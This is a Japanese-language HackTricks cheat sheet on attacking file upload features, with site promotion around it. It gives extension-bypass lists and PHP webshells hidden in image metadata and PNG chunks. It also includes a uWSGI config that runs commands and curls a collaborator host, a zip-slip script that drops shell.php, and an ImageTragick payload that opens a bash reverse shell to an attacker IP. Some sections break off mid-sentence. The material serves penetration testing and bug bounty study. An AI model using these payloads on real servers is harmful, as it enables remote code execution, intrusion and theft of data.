29 KiB
ファイルアップロード
htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したい場合やHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスワッグを入手
- The PEASS Familyを発見し、独占的なNFTコレクションを見つける
- 💬 Discordグループに参加するか、telegramグループに参加するか、Twitterでフォローする 🐦 @carlospolopm。
- ハッキングトリックを共有するために HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出する
バグバウンティのヒント: Intigritiにサインアップして、ハッカーによって作成されたプレミアムバグバウンティプラットフォームを利用しましょう!今すぐhttps://go.intigriti.com/hacktricksに参加して、最大**$100,000**のバウンティを獲得し始めましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
ファイルアップロード一般的な方法論
他の便利な拡張機能:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- PHPv8で動作: .php, .php4, .php5, .phtml, .module, .inc, .hphp, .ctp
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
ファイル拡張子チェックのバイパス
- 適用されている場合は、前の拡張子をチェックします。いくつかの大文字を使用してテストします: pHp, .pHP5, .PhAr ...
- 実行拡張子の前に有効な拡張子を追加することをチェックします(前の拡張子も使用します):
- file.png.php
- file.png.Php5
- 末尾に特殊文字を追加してみてください。Burpを使用してすべてのasciiおよびUnicode文字をブルートフォースすることができます。 (以前に言及された拡張子も使用できます)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php....
- file.pHp5....
- サーバーサイドの拡張子パーサーを騙すために、拡張子を倍にするか、拡張子間にジャンクデータ(ヌルバイト)を追加するなどのテクニックを使用して保護をバイパスしようとしてみてください。(以前の拡張子を使用して、より良いペイロードを準備することもできます)
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- 前のチェックに別の拡張子のレイヤーを追加してみてください:
- file.png.jpg.php
- file.php%00.png%00.jpg
- 有効な拡張子の前に実行拡張子を配置し、サーバーが誤って構成されていることを期待してみてください。 (Apacheの誤構成を悪用するのに便利で、拡張子が**.phpで終わらなくても.php**であればコードが実行される場合があります):
- 例: file.php.png
- WindowsでNTFS代替データストリーム(ADS)を使用します。この場合、禁止された拡張子の後ろにコロン文字「:」が挿入されます。その結果、「禁止された拡張子の空のファイル」がサーバーに作成されます(例:「file.asax:.jpg」)。このファイルは後で他のテクニックを使用して編集できる場合があります。たとえば、その短いファイル名を使用することができます。また、「::$data」パターンを使用して空でないファイルを作成することもできます。したがって、このパターンの後にドット文字を追加することも、さらなる制限をバイパスするのに役立つかもしれません(例:「file.asp::$data.」)
- ファイル名の制限を破ることを試みてください。有効な拡張子が切り捨てられ、悪意のあるPHPが残されます。AAA<--SNIP-->AAA.php
# Linux最大255バイト
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # ここで4を引いて.pngを追加
# ファイルをアップロードして、許容される文字数を確認します。236とします
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# ペイロードを作成します
AAA<--SNIP 232 A-->AAA.php.png
Content-Type、Magic Number、Compression&Resizingのバイパス
- Content-Typeチェックをバイパスするには、Content-Type ヘッダーの値を次のように設定します: image/png、text/plain、application/octet-stream
- Content-Type ワードリスト: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/web/content-type.txt
- マジックナンバーチェックをバイパスするには、ファイルの先頭に実際の画像のバイト(_file_コマンドを混乱させる)を追加します。または、シェルをメタデータ内に導入します:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg
または、画像に直接ペイロードを導入することもできます:
echo '<?php system($_REQUEST['cmd']); ?>' >> img.png
- 画像に圧縮が追加されている場合、PHP-GDなどの標準的なPHPライブラリを使用している場合、前述のテクニックは役立ちません。ただし、PLTEチャンク ここで定義されたテクニックを使用して、圧縮を生き残るテキストを挿入できます。
- コードが含まれるGithub
- Webページが画像をリサイズしている場合、たとえばPHP-GD関数
imagecopyresized
またはimagecopyresampled
を使用している場合、前述のテクニックは役立ちません。ただし、IDATチャンク ここで定義されたテクニックを使用して、圧縮を生き残るテキストを挿入できます。 - コードが含まれるGithub
- 画像のリサイズを生き残るペイロードを作成する別のテクニックとして、PHP-GD関数
thumbnailImage
を使用します。ただし、tEXtチャンク ここで定義されたテクニックを使用して、圧縮を生き残るテキストを挿入できます。 - コードが含まれるGithub
その他のチェックトリック
- アップロードされたファイルの名前を変更する脆弱性を見つけます(拡張子を変更するため)。
- バックドアを実行するためのローカルファイルインクルージョン脆弱性を見つけます。
- 可能な情報漏洩:
- 同じ名前の同じファイルを複数回(かつ同時に)アップロードします
- すでに存在するファイルまたはフォルダの名前を持つファイルをアップロードします
- 名前が**“.”、“..”または“…”であるファイルをアップロードします。たとえば、ApacheのWindows**では、アプリケーションがアップロードされたファイルを“/www/uploads/”ディレクトリに保存する場合、ファイル名“.”は“/www/”ディレクトリに“uploads”というファイルを作成します。
- NTFSで削除が容易でないファイルをアップロードします。たとえば、“…:.jpg”をNTFSにアップロードします。 (Windows)
- 名前に
|<>*?”
などの無効な文字を含むファイルをWindowsにアップロードします。 (Windows) - CON、PRN、AUX、NUL、COM1、COM2、COM3、COM4、COM5、COM6、COM7、COM8、COM9、LPT1、LPT2、LPT3、LPT4、LPT5、LPT6、LPT7、LPT8、およびLPT9などの予約済み(禁止された)名前を使用してWindowsにファイルをアップロードします。
- 実行可能ファイル(.exe)または誤って開かれた場合にコードを実行する**.html**(疑わしくない)をアップロードしようとしてみてください。
特別な拡張子のトリック
PHPサーバーにファイルをアップロードしようとしている場合は、.htaccessトリックを見て、コードを実行してください**。
ASPサーバーにファイルをアップロードしようとしている場合は、.configトリックを見て、コードを実行してください**。
.phar
ファイルは、Javaの.jar
のようなものですが、PHP用であり、PHPファイルのように使用できます(PHPで実行したり、スクリプト内に含めたり...)
.inc
拡張子は、ファイルのインポートにのみ使用されるPHPファイルに使用されることがあり、ある時点でこの拡張子が実行されることを許可しているかもしれません。
Jetty RCE
JettyサーバーにXMLファイルをアップロードできる場
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
ペイロードの実行は、構成ファイルの解析中に発生します。構成が有効化および解析されるためには、uWSGIプロセスを再起動するか(クラッシュ後またはDoS攻撃の結果として)、またはファイルを自動リロードに設定する必要があります。自動リロード機能が有効になっている場合、変更を検出すると指定された間隔でファイルを再読み込みします。
uWSGIの構成ファイルの解析の寛容な性質を理解することが重要です。具体的には、議論されているペイロードは、バイナリファイル(画像やPDFなど)に挿入することができ、潜在的な悪用の範囲をさらに広げることができます。
wgetファイルアップロード/SSRFトリック
場合によっては、サーバーが**wget
を使用してファイルをダウンロードし、URLを指定することがあるかもしれません。この場合、コードはダウンロードされるファイルの拡張子がホワイトリスト内にあることを確認して、許可されたファイルのみがダウンロードされることを保証しているかもしれません。しかし、このチェックをバイパスすることができます。
Linuxのファイル名の最大長は255ですが、wgetはファイル名を236文字に切り詰めます。"A"*232+".php"+".gif"という名前のファイルをダウンロードできます。このファイル名はチェックをバイパスします(この例では".gif"が有効な拡張子であるため)、しかしwget
はファイルを"A"*232+".php"にリネーム**します。
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
注意してください。別のオプションは、このチェックをバイパスするために考えているかもしれませんが、HTTPサーバーを別のファイルにリダイレクトさせることです。そのため、初期のURLはチェックをバイパスしますが、その後wgetが新しい名前でリダイレクトされたファイルをダウンロードします。これは、wgetが--trust-server-names
パラメータとともに使用されている場合にのみ機能します。なぜなら、wgetはリダイレクトされたページを元のURLで指定されたファイル名でダウンロードするからです。
ツール
- Upload Bypass は、ファイルアップロードメカニズムのテストを支援するために設計された強力なツールです。さまざまなバグバウンティテクニックを活用して、Webアプリケーションの包括的な評価を確実にすることで、脆弱性の特定と悪用のプロセスを簡素化します。
ファイルアップロードから他の脆弱性へ
- ファイル名を
../../../tmp/lol.png
に設定して、パストラバーサルを試みる - ファイル名を
sleep(10)-- -.jpg
に設定して、SQLインジェクションを達成する可能性があります - ファイル名を
<svg onload=alert(document.domain)>
に設定して、XSSを達成する - ファイル名を
; sleep 10;
に設定して、いくつかのコマンドインジェクションをテストする(詳細はこちら) - 画像(svg)ファイルの中のXSS
- JSファイルのアップロード + XSS = Service Workersの悪用
- svgアップロードのXXE
- svgファイルをアップロードすることでのオープンリダイレクト
- https://github.com/allanlw/svg-cheatsheetから異なるsvgペイロードを試してみてください
- 有名なImageTrick脆弱性](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Webサーバーに画像を取得するよう指示できる場合、SSRFを悪用してみることができます。この画像が公開サイトに保存される場合、https://iplogger.org/invisible/からのURLを指定して、すべての訪問者の情報を盗むこともできます。
- PDF-AdobeアップロードでのXXEおよびCORSバイパス
- XSSのための特別に作成されたPDF:次のページでは、PDFデータを注入してJSの実行を取得する方法が示されています。PDFをアップロードできる場合は、指示に従って任意のJSを実行するPDFを準備することができます。
- [eicar](https://secure.eicar.org/eicar.com.txt)のコンテンツをアップロードして、サーバーにアンチウイルスがあるかどうかを確認します
- ファイルをアップロードする際のサイズ制限があるかどうかを確認します
以下は、アップロードによって達成できるトップ10のことです(こちらから):
- ASP / ASPX / PHP5 / PHP / PHP3:Webshell / RCE
- SVG:Stored XSS / SSRF / XXE
- GIF:Stored XSS / SSRF
- CSV:CSVインジェクション
- XML:XXE
- AVI:LFI / SSRF
- HTML / JS:HTMLインジェクション / XSS / オープンリダイレクト
- PNG / JPEG:Pixel flood attack(DoS)
- ZIP:LFI経由のRCE / DoS
- PDF / PPTX:SSRF / BLIND XXE
Burp拡張機能
{% embed url="https://github.com/portswigger/upload-scanner" %}
マジックヘッダーバイト
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["
- JPG:
"\xff\xd8\xff"
他のファイルタイプについては、https://en.wikipedia.org/wiki/List_of_file_signaturesを参照してください。
Zip/Tarファイルの自動解凍アップロード
サーバー内で解凍されるZIPをアップロードできる場合、次の2つのことができます:
シンボリックリンク
他のファイルへのソフトリンクを含むリンクをアップロードし、解凍されたファイルにアクセスすることで、リンクされたファイルにアクセスできます:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
異なるフォルダーに解凍
解凍中にディレクトリ内にファイルが予期せず作成されることは重大な問題です。悪意のあるファイルのアップロードを通じたOSレベルのコマンド実行を防ぐかもしれないという最初の仮定にもかかわらず、ZIPアーカイブ形式の階層圧縮サポートとディレクトリトラバーサル機能は悪用される可能性があります。これにより、攻撃者は対象アプリケーションの解凍機能を操作して、制限を回避し、安全なアップロードディレクトリから脱出することができます。
このようなファイルを作成するための自動化されたエクスプロイトは、GitHubのevilarcで利用可能です。このユーティリティは次のように使用できます:
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
さらに、evilarcを使用したシンボリックリンクのトリックも選択肢の一つです。/flag.txt
のようなファイルをターゲットにする場合、そのファイルへのシンボリックリンクをシステムに作成する必要があります。これにより、evilarcが操作中にエラーに遭遇しないようになります。
以下は、悪意のあるzipファイルを作成するために使用されるPythonコードの例です:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
ファイルスプレーのための圧縮の乱用
詳細については、元の投稿を参照してください: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
- PHPシェルの作成:
PHPコードは、
$_REQUEST
変数を介して渡されたコマンドを実行するために書かれています。
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- ファイルスプレーと圧縮ファイルの作成: 複数のファイルが作成され、これらのファイルを含むzipアーカイブが組み立てられます。
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
- ヘックスエディタまたはviでの修正: zip内のファイル名を変更し、viまたはヘックスエディタを使用して、"xxA"を"../"に変更してディレクトリを横断します。
:set modifiable
:%s/xxA/..\//g
:x!
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
PNGにPHPシェルを埋め込む
PNGファイルのIDATチャンクにPHPシェルを埋め込むことは、特定の画像処理操作を効果的にバイパスすることができます。PHP-GDのimagecopyresized
およびimagecopyresampled
関数は、一般的に画像のリサイズやリサンプリングに使用されるため、この文脈で特に関連があります。埋め込まれたPHPシェルがこれらの操作に影響を受けない能力は、特定のユースケースにおいて重要な利点となります。
この技術の詳細な探求、方法論、および潜在的な応用については、次の記事で提供されています: "PNG IDATチャンクにWebシェルをエンコードする"。このリソースは、プロセスとその影響について包括的な理解を提供しています。
詳細はこちら: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
ポリグロットファイル
ポリグロットファイルは、サイバーセキュリティにおいてユニークなツールとして機能し、複数のファイル形式で有効に存在できるカメレオンとして機能します。興味深い例として、GIFARがあります。これはGIFとRARアーカイブの両方として機能するハイブリッドです。このようなファイルは、このペアリングに限定されるものではありません。GIFとJS、またはPPTとJSなどの組み合わせも可能です。
ポリグロットファイルの主な利点は、ファイルの種類に基づいてファイルをスクリーニングするセキュリティ対策を回避する能力にあります。さまざまなアプリケーションでの一般的な慣行は、JPEG、GIF、またはDOCなどの特定のファイル形式のみをアップロード可能とし、潜在的に有害な形式(例: JS、PHP、またはPharファイル)によるリスクを軽減することです。しかし、ポリグロットは、複数のファイル形式の構造基準に準拠することで、これらの制限を巧妙にバイパスすることができます。
ポリグロットは適応性がある一方で、制限に遭遇することがあります。たとえば、ポリグロットがPHARファイル(PHp ARchive)とJPEGを同時に具現化している場合でも、そのアップロードの成功はプラットフォームのファイル拡張子ポリシーにかかってくるかもしれません。システムが許容可能な拡張子に厳格である場合、単なる構造的な二重性だけではアップロードが保証されないかもしれません。
詳細はこちら: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
参考文献
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
- https://github.com/modzero/mod0BurpUploadScanner
- https://github.com/almandin/fuxploider
- https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
- https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
- https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
バグバウンティのヒント: Intigritiにサインアップしてください。これは、ハッカーによって作成されたプレミアムバグバウンティプラットフォームです!今すぐhttps://go.intigriti.com/hacktricksに参加して、最大**$100,000**のバウンティを獲得しましょう!
{% embed url="https://go.intigriti.com/hacktricks" %}
**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでのAWSハッキング**を学びましょう!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したい、またはHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksのグッズを手に入れる
- The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローする
- ハッキングトリックを共有するために、HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出する